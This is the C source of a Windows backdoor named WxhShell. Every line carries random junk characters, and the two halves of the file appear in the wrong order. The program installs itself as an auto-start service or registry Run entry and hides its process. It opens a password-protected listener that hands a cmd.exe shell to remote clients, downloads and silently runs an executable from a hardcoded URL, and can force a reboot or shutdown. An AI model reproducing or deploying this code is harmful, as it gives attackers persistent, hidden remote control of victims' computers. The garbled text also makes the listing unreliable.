    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N!~O~ Eo3  
    else {  zSd!n  
    closesocket(wsh); Ww=^P{q\  
    ExitThread(0); r=}v` R&  
    } LNNwy:_ !  
    break; XXD LbT'J  
    } `\-<tk9  
  // 获取shell nh XVc((  
  case 's': { 9{*$[%d1  
    CmdShell(wsh); ) kMF~S|H  
    closesocket(wsh); E .N@qMn~  
    ExitThread(0); Cer&VMrQK  
    break; = Ed0vw  
  } X 0vcBHh  
  // 退出 g1kYL$o4  
  case 'x': { %T6 sm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <uG6!P  
    CloseIt(wsh); 5Z@0XI  
    break; )L/0X40<.  
    } ;kD UQw  
  // 离开 \>$3'i=mQ  
  case 'q': { /hN;\Z[@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v<3KxP'a  
    closesocket(wsh); xmNs%  
    WSACleanup(); V O\g"Yc  
    exit(1); sOJXloeO[6  
    break; rnyXMt.q  
        } ;rRV=$y  
  } 38mC+%iC  
  } 8IkmFXj  
jd`h)4  
  // 提示信息 S=<OS2W7+r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EVlj#~mV  
} s_;o1 K0  
  } k{F]^VXQ  
B#DnU;=O#+  
  return; ?}e^-//*i  
} Kn=0AdM  
w,i?e\5  
// shell模块句柄 =&i#NSK  
int CmdShell(SOCKET sock) i!{A7mo  
{ s(T0lul  
STARTUPINFO si; !,|-{":  
ZeroMemory(&si,sizeof(si)); eo*l^7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l6*MiX]q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]Z nASlc)  
PROCESS_INFORMATION ProcessInfo; P$x9Z3d_  
char cmdline[]="cmd"; e9RH[:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'NMO>[.  
  return 0; c)3.AgT  
} {'p < o$(S  
HLkI?mW<  
// 自身启动模式 p#%*z~ui  
int StartFromService(void) n)0M1o#  
{ #;[0:jU0  
typedef struct h/Yxm2  
{ kRjNz~g  
  DWORD ExitStatus; uBK0+FLL@  
  DWORD PebBaseAddress; ",xTgB3?V  
  DWORD AffinityMask; f(G1xw]]@Y  
  DWORD BasePriority; c@2a)S8Y]  
  ULONG UniqueProcessId; oJZxRm[g$t  
  ULONG InheritedFromUniqueProcessId; 7B<,nKd  
}   PROCESS_BASIC_INFORMATION; : *XAQb0  
RFLfvD<  
PROCNTQSIP NtQueryInformationProcess; IH&0>a  
-=cm7/X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _NB*+HVo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n2 can  
q9wObOS$  
  HANDLE             hProcess; *c\XQy  
  PROCESS_BASIC_INFORMATION pbi; boI&q>-6Re  
DaQ+XUH?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jGi{:}`lB  
  if(NULL == hInst ) return 0; UZdGV?o ?  
K {kd:pr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $q*a}d[Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 80=LT-%#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t`="2$NO  
^Ze(WE)  
  if (!NtQueryInformationProcess) return 0; &~Y%0&F,&  
qm"SN<2S*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;mYZ@g%e  
  if(!hProcess) return 0; cQ]c!G|a4  
8_E(.]U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; twu,yC!  
XG*> yra`  
  CloseHandle(hProcess); qyxd9Lk1  
Gy[anDE&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D>8p: ^3g  
if(hProcess==NULL) return 0; `KtP ;nG  
.*f 6n|  
HMODULE hMod; Zf1 uK(6X  
char procName[255]; SXP(C^?C  
unsigned long cbNeeded; sE'c$H  
Yj'9|4%+|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =IW!ZN_  
^r-d.1  
  CloseHandle(hProcess); Qu1&$oO  
v)T# iw[  
if(strstr(procName,"services")) return 1; // 以服务启动 B~E">}=!  
@dk-+YxG  
  return 0; // 注册表启动 h (q,T$7 W  
} \gA<yz-;N  
0zA;%oP  
// 主模块 ilde<!?  
int StartWxhshell(LPSTR lpCmdLine) ImG8v[Q E  
{ hsQDRx%H}  
  SOCKET wsl; ht*(@MCr<  
BOOL val=TRUE; \i/HHP[%  
  int port=0; ~&<t++ g  
  struct sockaddr_in door;  =   
IA<>+NS  
  if(wscfg.ws_autoins) Install(); vQ* RrHG?c  
`kJ)E;v;3  
port=atoi(lpCmdLine); Pjk2tf0j`  
]E-3/r$_cO  
if(port<=0) port=wscfg.ws_port; 1I`F?MT  
_?:jZ1wZ  
  WSADATA data; Arg/ge.y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5q*s_acQ  
E a&NJ]& g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {f\wIZ-K A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L {P'mG=4  
  door.sin_family = AF_INET; p:TE##  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }ymW};W  
  door.sin_port = htons(port); ^utOVi  
=3c?W&:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZT@=d$Z&t  
closesocket(wsl); z]r'8Jc  
return 1; v@|<.  
} ~h_ _Y>  
u.|%@  
  if(listen(wsl,2) == INVALID_SOCKET) { \wD/TLS}  
closesocket(wsl); CV\^gTPmx  
return 1; EYn?YiVFU  
} w$/lq~zU  
  Wxhshell(wsl); h$kz3r;b,"  
  WSACleanup(); ,|d9lK`"P  
_Iminet  
return 0; iMJt8sd  
l99Lxgx=  
} >zqaV@T  
4/|x^Ky>G  
// 以NT服务方式启动 BK%. wi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )M.s<Y  
{ x;)I%c  
DWORD   status = 0; e,epKtL  
  DWORD   specificError = 0xfffffff; VS/M@y_./  
W]#w4Fp!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >STthPO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z`IW[N7Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :Bmn<2[Y;  
  serviceStatus.dwWin32ExitCode     = 0; [:{ FR2*x  
  serviceStatus.dwServiceSpecificExitCode = 0; 8 7(t<3V&  
  serviceStatus.dwCheckPoint       = 0; { 7jim  
  serviceStatus.dwWaitHint       = 0; A!Cby!,  
3s/1\m%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L4Zt4Yuw  
  if (hServiceStatusHandle==0) return; ~w3u(X$m"  
S?d<P  
status = GetLastError(); /^AH/,p  
  if (status!=NO_ERROR) }ofb]_C,  
{ #Z1-+X8P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j{OA%G(I  
    serviceStatus.dwCheckPoint       = 0; ]5jS6 @Vl*  
    serviceStatus.dwWaitHint       = 0; KR#,6  
    serviceStatus.dwWin32ExitCode     = status; ":$4/b6  
    serviceStatus.dwServiceSpecificExitCode = specificError; s-#EV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,Q56A#Y\  
    return; @KK6JyOTQ  
  } {/]2~!  
R|8vdZ%@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6&os`!  
  serviceStatus.dwCheckPoint       = 0; {lWVH  
  serviceStatus.dwWaitHint       = 0; m;~}}~&vQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }yK7LooM  
} ?4%H(k5A  
[(@K;6o  
// 处理NT服务事件,比如:启动、停止 -y-}g[`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3A!a7]fW  
{ gSwV:hm  
switch(fdwControl) fgd2jr 3T  
{ 7S }0Kuk)  
case SERVICE_CONTROL_STOP: VkFh(Br<{  
  serviceStatus.dwWin32ExitCode = 0; 4%J0e'iN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _# sy  
  serviceStatus.dwCheckPoint   = 0; uP'L6p5  
  serviceStatus.dwWaitHint     = 0; uC;_?Bve  
  { P)`^rJ6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FuiR\"Ww  
  } xT"V9t[f  
  return; QCW4gIp  
case SERVICE_CONTROL_PAUSE: 9>&zOITTaL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bI &<L O  
  break; @4*:qj?  
case SERVICE_CONTROL_CONTINUE: G`zNCx.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mpojabsh  
  break; p qz~9y~  
case SERVICE_CONTROL_INTERROGATE: Uw("+[5O0  
  break; M!J7Vj?Ps  
}; + f67y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ri{*\LV*@  
} P:'wSE91  
vW=-RTRH  
// 标准应用程序主函数 Qp:I[:Lr;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xn3 _ ED  
{ i]r(VKX  
9(^UchZZi  
// 获取操作系统版本 8X7??f1;Y  
OsIsNt=GetOsVer(); -x+3nb|.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rlewp8?LB  
!:|*!  
  // 从命令行安装 ?gMx  
  if(strpbrk(lpCmdLine,"iI")) Install(); G1z*e.+y  
Xj\ToO  
  // 下载执行文件 :cC$1zv@  
if(wscfg.ws_downexe) { Q]K` p(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gsyOf*Q$  
  WinExec(wscfg.ws_filenam,SW_HIDE); s$Y>nH~T  
} gTho:;q7a  
:ZXd%  
if(!OsIsNt) { zvV&Hks-  
// 如果时win9x,隐藏进程并且设置为注册表启动 {nV/_o$$  
HideProc(); 49; 'K  
StartWxhshell(lpCmdLine); 1Z}5ykM3  
} .nD#:86M  
else L[Vk6e  
  if(StartFromService()) *SNdU^!  
  // 以服务方式启动 \P.h;|u  
  StartServiceCtrlDispatcher(DispatchTable); G]=z ![$  
else r !Aj5  
  // 普通方式启动 ~</FF'Xz  
  StartWxhshell(lpCmdLine); !1)aie+p6  
",b:rgpRp  
return 0; Dx-P]j)4x  
} m8fj\,X  
g,+ e3f  
X`D2w:  
EH |+S  
=========================================== <c}@lj-j  
>B{NxL3->  
uxf,95<g)  
$.jG O!  
X+;[Gc}(W  
?Zb+xNKJ(  
" 3NpB1lgh&:  
Wzl/ @CPM  
#include <stdio.h> bCw{9El!K4  
#include <string.h> #3rS{4[  
#include <windows.h> V9oBSP'kt  
#include <winsock2.h> GY]P(NU  
#include <winsvc.h> RM|J |R  
#include <urlmon.h> |Vpp'ipr  
~qgh w@Q~  
#pragma comment (lib, "Ws2_32.lib") +5zXbfO  
#pragma comment (lib, "urlmon.lib") gs'M^|e)  
-%` ~3*L  
#define MAX_USER   100 // 最大客户端连接数 w jkh*Y  
#define BUF_SOCK   200 // sock buffer 6|jZv~rS$  
#define KEY_BUFF   255 // 输入 buffer 2`f{D~w  
w<9rTHG8,  
#define REBOOT     0   // 重启 h]oUY.Pf  
#define SHUTDOWN   1   // 关机 !J7`frv"(  
L )JB^cxf  
#define DEF_PORT   5000 // 监听端口 ~tp]a]yV  
#kC~qux^  
#define REG_LEN     16   // 注册表键长度 4eHSAN"$  
#define SVC_LEN     80   // NT服务名长度 ,sL'T[tuiU  
Ce}`z L  
// 从dll定义API 8 Rj5~+5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^@^8iZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;\RV C 7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c[Fc3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _KH91$iW8m  
G)7U &B  
// wxhshell配置信息 60+zoL'  
struct WSCFG { 6^b)Q(Edut  
  int ws_port;         // 监听端口 ukR0E4p  
  char ws_passstr[REG_LEN]; // 口令 XJ<"S p  
  int ws_autoins;       // 安装标记, 1=yes 0=no \L*%?~  
  char ws_regname[REG_LEN]; // 注册表键名 _w\9 \<%  
  char ws_svcname[REG_LEN]; // 服务名 6eSo.@*l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CQWXLQED>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j[r}!;O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -$Fj-pO\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J8:s=#5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C7%R2>}?f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tRoSq;VrS  
!eyLh&]5  
}; ;73S;IPR  
2)=whnFS  
// default Wxhshell configuration W>pe-  
struct WSCFG wscfg={DEF_PORT, JqzoF}WH  
    "xuhuanlingzhe", rRe5Q  
    1, f-F=!^.  
    "Wxhshell", +VUkV-kP  
    "Wxhshell", {lds?AuK  
            "WxhShell Service", 2w.FC  
    "Wrsky Windows CmdShell Service", ,XT,t[w  
    "Please Input Your Password: ", ,%9XG077  
  1, Vh\_Ko\V5  
  "http://www.wrsky.com/wxhshell.exe", }QI \K  
  "Wxhshell.exe" e/D{^*~S  
    }; <,~OcJG(   
x/s:/YN'  
// 消息定义模块 AIHH@z   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [PIMG2"G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i<ES/U\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UPfE\KN+p#  
char *msg_ws_ext="\n\rExit."; M}|(:o3Yo  
char *msg_ws_end="\n\rQuit."; 07.p {X R  
char *msg_ws_boot="\n\rReboot..."; [edF'7La  
char *msg_ws_poff="\n\rShutdown..."; 2y!n c%  
char *msg_ws_down="\n\rSave to "; Ij#mmj NW  
r)t[QoD1  
char *msg_ws_err="\n\rErr!"; qR@ES J_  
char *msg_ws_ok="\n\rOK!"; Lvf<g}?4  
"uBnK!  
char ExeFile[MAX_PATH]; \tgY2 :  
int nUser = 0; e4YfJd  
HANDLE handles[MAX_USER]; @D9O<x  
int OsIsNt; zB%~=@Q^6  
0!\gK <,z  
SERVICE_STATUS       serviceStatus; \lK?f]qJq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L~ &S<5?  
,Q"'q0hM=  
// 函数声明 k[x-O?$O@  
int Install(void); K&[0`sH!  
int Uninstall(void); `:C1Wo^<  
int DownloadFile(char *sURL, SOCKET wsh); n5QO'Jr%[  
int Boot(int flag); Z|qI[uiO  
void HideProc(void); V>Jr4z  
int GetOsVer(void); li*S^uSF  
int Wxhshell(SOCKET wsl); N]W*ei  
void TalkWithClient(void *cs); Nn_fhc>  
int CmdShell(SOCKET sock); WDw<kX6p  
int StartFromService(void); B!&5*f}*  
int StartWxhshell(LPSTR lpCmdLine); !td!">r46e  
:I#.d7`uk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VN)WBv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vsI;ooR>  
R2)@Q  
// 数据结构和表定义 C@qWour  
SERVICE_TABLE_ENTRY DispatchTable[] = EE'2<"M  
{ #4AU&UM+i  
{wscfg.ws_svcname, NTServiceMain}, q[Ai^79  
{NULL, NULL} aqSOC(jU  
}; oRbWqN`F.  
g]f<k2  
// 自我安装 29:2Xu i  
int Install(void) sPK]:i C  
{ 1sXCu|\q  
  char svExeFile[MAX_PATH]; "==c  
  HKEY key; g V]4R"/  
  strcpy(svExeFile,ExeFile); !>Nlp,r&~  
j}Tv/O,f  
// 如果是win9x系统,修改注册表设为自启动 @* hv|zjs  
if(!OsIsNt) { XGZZKvp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (%R%UkwP9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $j- Fm:ZIA  
  RegCloseKey(key); 'pA%lc)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0eO!,/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xI<l1@  
  RegCloseKey(key); 'wPX.h?  
  return 0; ^$oa`B^2JM  
    } Apu- 9|oP  
  } ]:f.="  
} ^?e[$}  
else { >.SO2w  
T]0K4dp+  
// 如果是NT以上系统,安装为系统服务 /[6wm1?!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Ft81e)/  
if (schSCManager!=0) XB'rh F8rl  
{ oN}\bK  
  SC_HANDLE schService = CreateService :awa  
  ( }e7/F[c.U  
  schSCManager, 1'~+.92Y  
  wscfg.ws_svcname, 4s m [y8  
  wscfg.ws_svcdisp, i<S \x  
  SERVICE_ALL_ACCESS, -(57C*#ap  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g;Fd m5Q  
  SERVICE_AUTO_START, /,:cbpHsu  
  SERVICE_ERROR_NORMAL, /%m?D o  
  svExeFile, nWelM2  
  NULL, }'<Z&NW6  
  NULL, moM'RO,M  
  NULL, 5JOfJ$(n  
  NULL, l4kqz.Z-g  
  NULL ,U9j7E<4  
  ); 6%EpF;T`  
  if (schService!=0) 4"PA7 e  
  { OC5oxL2HTe  
  CloseServiceHandle(schService); 0084`&Ki  
  CloseServiceHandle(schSCManager); B)/&xQu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qo9&e~Y<G  
  strcat(svExeFile,wscfg.ws_svcname); x6>WvF Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 44QW&qL!(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bHTf{=  
  RegCloseKey(key); ]>)}xfL &,  
  return 0; u9;3Xn8  
    } e|A=sCN-  
  } %w_MRC  
  CloseServiceHandle(schSCManager); !T`g\za/  
} =0e>'Iw2  
} ?o V.SG'  
fe4/[S{a   
return 1; OY"BaSEOw}  
} q|YnNk>1  
6+sz4  
// 自我卸载 |vi=h2*  
int Uninstall(void) ?z`yNx6  
{ v*excl~  
  HKEY key; KXTk.\c  
L^^f.w#m  
if(!OsIsNt) { "j%Gr :a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y+S<?8pA  
  RegDeleteValue(key,wscfg.ws_regname); \.P'8As  
  RegCloseKey(key); (O ;R~Io  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Wd5s{S  
  RegDeleteValue(key,wscfg.ws_regname); \sGJs8#v][  
  RegCloseKey(key); %.[AZ>  
  return 0; 937<:zo:  
  } QdZHIgh`i  
} AJ 0Bb7  
} Xj?LU7  
else { d}E6d||A  
;d7Qw~v1s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L%7WHtU*#  
if (schSCManager!=0) Q-_;.xy#4  
{ a&)$s;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !G;BYr>X  
  if (schService!=0)  OG IN-  
  { 0Q%I[f8  
  if(DeleteService(schService)!=0) { eJOo~HIWQ  
  CloseServiceHandle(schService);  0Ns Po  
  CloseServiceHandle(schSCManager); )$Fw<;4  
  return 0; @ 6jKjI  
  } ;).QhHeg>  
  CloseServiceHandle(schService); On4Vqbks  
  } 09Oe-Bg  
  CloseServiceHandle(schSCManager); Xa8_kv_  
} @)ozgs@e  
} yaj1nq! *"  
w2"]%WS%  
return 1; i/N68  
} H_JT"~_2  
+],2smd@N  
// 从指定url下载文件 ~}YgZ/U7T  
int DownloadFile(char *sURL, SOCKET wsh) "(F:'J} X  
{ qB3& F pgW  
  HRESULT hr; ({rescQB  
char seps[]= "/"; K<ldl.  
char *token; 0J)VEMC  
char *file; P`hg*"<V  
char myURL[MAX_PATH]; $I@. <J*  
char myFILE[MAX_PATH]; .dBW{|gN  
wW/wvC-  
strcpy(myURL,sURL); D>#Jh>4  
  token=strtok(myURL,seps); RV5;EM)~[  
  while(token!=NULL) $<wU>X  
  { K0^+2lx  
    file=token; %]DJ-7 xE  
  token=strtok(NULL,seps); UJX5}36  
  } tIX|oWC$q  
Wm58[;%LTw  
GetCurrentDirectory(MAX_PATH,myFILE); 9hwn,=Vh)  
strcat(myFILE, "\\"); 9NC6q-2  
strcat(myFILE, file); j|% C?N  
  send(wsh,myFILE,strlen(myFILE),0); D2Kh+~l  
send(wsh,"...",3,0); \U`rF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C"}]PW  
  if(hr==S_OK) /Bnh%6#ab  
return 0; & V/t0  
else 8-vNXvl  
return 1; 0.Nik^~  
p)Q='  
} oX]c$<w5  
X15e~;&  
// 系统电源模块 u|8V7*)3  
int Boot(int flag) < uzDuBN  
{ BI)$aR  
  HANDLE hToken; ErMA$UkJ  
  TOKEN_PRIVILEGES tkp; rUF= uO(  
_{gRCR)  
  if(OsIsNt) { [=xO>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y1F P |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {,m W7  
    tkp.PrivilegeCount = 1; l3/?,xn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9s6d+HhM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c/}bx52>u  
if(flag==REBOOT) { *}i.,4+y   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;lb@o,R :  
  return 0; cbA90 8@s  
} 8-R; &  
else { zTt6L6:u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z+@Jx~<i  
  return 0; B8G1 #V_jK  
} mm<rdo(`  
  } ?To r)>A'  
  else { ~4tu*\P  
if(flag==REBOOT) { j.rJfbE|X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #$>m`r  
  return 0; A0Hsd  
} C}GOwvAL>  
else { H]W59-{a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kO\aNtK  
  return 0; ,NaNih1  
}  bR5+({yH  
} D7x"P-ie  
M>g\Y  
return 1; t7DT5SrR  
} V`"A|Y  
3+jqf@fO  
// win9x进程隐藏模块 9a9{OJa6M  
void HideProc(void) *] cm{N  
{ rfMzHY}%  
MY}B)`yx=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p[%FH?  
  if ( hKernel != NULL ) [& &9F};  
  { P\CT|K'P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R oWGQney  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pTJJ.#$CEF  
    FreeLibrary(hKernel); i~6qOlLD-  
  } oos7x6  
j!P]xl0vOZ  
return; H6XlSj  
} )W/ mt[;  
t|aBe7t7  
// 获取操作系统版本 #4*~ 4/  
int GetOsVer(void) vN%SN>=L<  
{ ceR zHq=  
  OSVERSIONINFO winfo; Ol'Ct'_k,"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y\&`A:^[ A  
  GetVersionEx(&winfo); 8?O6IDeW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h>+,ba"D  
  return 1; 5l"v:Px  
  else dw!cDfT+  
  return 0; _0<EbJ8Z  
} /K9Tn  
LMrb 1lg$  
// 客户端句柄模块 X)|b_3Z  
int Wxhshell(SOCKET wsl) eZm,K'/!  
{ +mN]VO*y  
  SOCKET wsh; $;dSM<r  
  struct sockaddr_in client; ]I#yS=;  
  DWORD myID; Tn qspS2;R  
Hinz6k6!  
  while(nUser<MAX_USER) qffXm `k  
{ 8I'c83w  
  int nSize=sizeof(client); <O cD[5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jR#g>MDKB  
  if(wsh==INVALID_SOCKET) return 1; y#Ao6Od6  
L= fz:H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4cni_m]  
if(handles[nUser]==0) 8`*Wl;9u  
  closesocket(wsh); [g:ZIl4p\P  
else q]Cmaf(  
  nUser++; @<tkwu  
  } mRw &^7r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a 8Jn.!  
+tNu8M@xFo  
  return 0; >?q()>l  
} jLf.qf8qm  
k!K}<sX2  
// 关闭 socket shOQ/  
void CloseIt(SOCKET wsh) d3# >\QCD9  
{ hSq3LoHV  
closesocket(wsh); sV+/JDl  
nUser--; !K#Q[Ee  
ExitThread(0); brGUK PB  
} ([='LyH];z  
jd|? aK;(  
// 客户端请求句柄 0S0 ?\r  
void TalkWithClient(void *cs) I_IDrS)O  
{ 9GuG"^08  
hGx)X64Mw  
  SOCKET wsh=(SOCKET)cs; ((TiBCF4  
  char pwd[SVC_LEN]; 8C2s-%:  
  char cmd[KEY_BUFF]; jX79Nm|  
char chr[1];  `k/hC  
int i,j; YT6<1-E#  
,25Qhz]  
  while (nUser < MAX_USER) { `Pv[A  
R g7  O  
if(wscfg.ws_passstr) { [ 44d(P'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .AOf-a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ r6qnC2  
  //ZeroMemory(pwd,KEY_BUFF); y_:i'Ri.  
      i=0; E4aCL#}D  
  while(i<SVC_LEN) { oX@0+*"  
QXnL(z  
  // 设置超时 6u`E{$  
  fd_set FdRead; , [xDNl[Y|  
  struct timeval TimeOut; L<encPJt  
  FD_ZERO(&FdRead); cTpAU9|(  
  FD_SET(wsh,&FdRead); =l TV2C<  
  TimeOut.tv_sec=8; qr[H0f]  
  TimeOut.tv_usec=0; xJ)hGPrAl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y|1,h}H^n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (-tF=wR,W  
Gk0f#;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #8G (r9  
  pwd=chr[0]; w:P$ S  
  if(chr[0]==0xd || chr[0]==0xa) { y{ReQn3> y  
  pwd=0; @sRUl ,M;Z  
  break; r7r>1W%4  
  } U)%gzXTZ%  
  i++; x'OE},>i  
    } tY^MP5*  
<J4|FOz!=  
  // 如果是非法用户,关闭 socket L$^ya%2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7RQ.oee  
} > Q+Bw"W<  
]42bd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u/3 4E=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C~Fdo0D  
p}%T`e=Z9  
while(1) { 01VEz 8[\  
hiWfVz{~  
  ZeroMemory(cmd,KEY_BUFF); :<l(l\MC  
]p/f@j?LU  
      // 自动支持客户端 telnet标准   (5y+g?9d;  
  j=0; |[/[*hDZ9  
  while(j<KEY_BUFF) { :|3n`,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |X/ QSL  
  cmd[j]=chr[0]; ,b2YUb]U  
  if(chr[0]==0xa || chr[0]==0xd) { 7yGc@kJ?  
  cmd[j]=0; m?I$XAE  
  break; i#o:V/Z .  
  } zrWkz3FN  
  j++; T >X nVK  
    } Zi5d"V[}T  
IKx]?0sS  
  // 下载文件 / E~)xgPM<  
  if(strstr(cmd,"http://")) { =c 3;@CO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ww&~ZZZ {  
  if(DownloadFile(cmd,wsh)) 8.4 1EKr2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J0@<6~V6o  
  else d?G ~k[C!a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 Z+2  
  } 5}d"nx  
  else { <smi<syx  
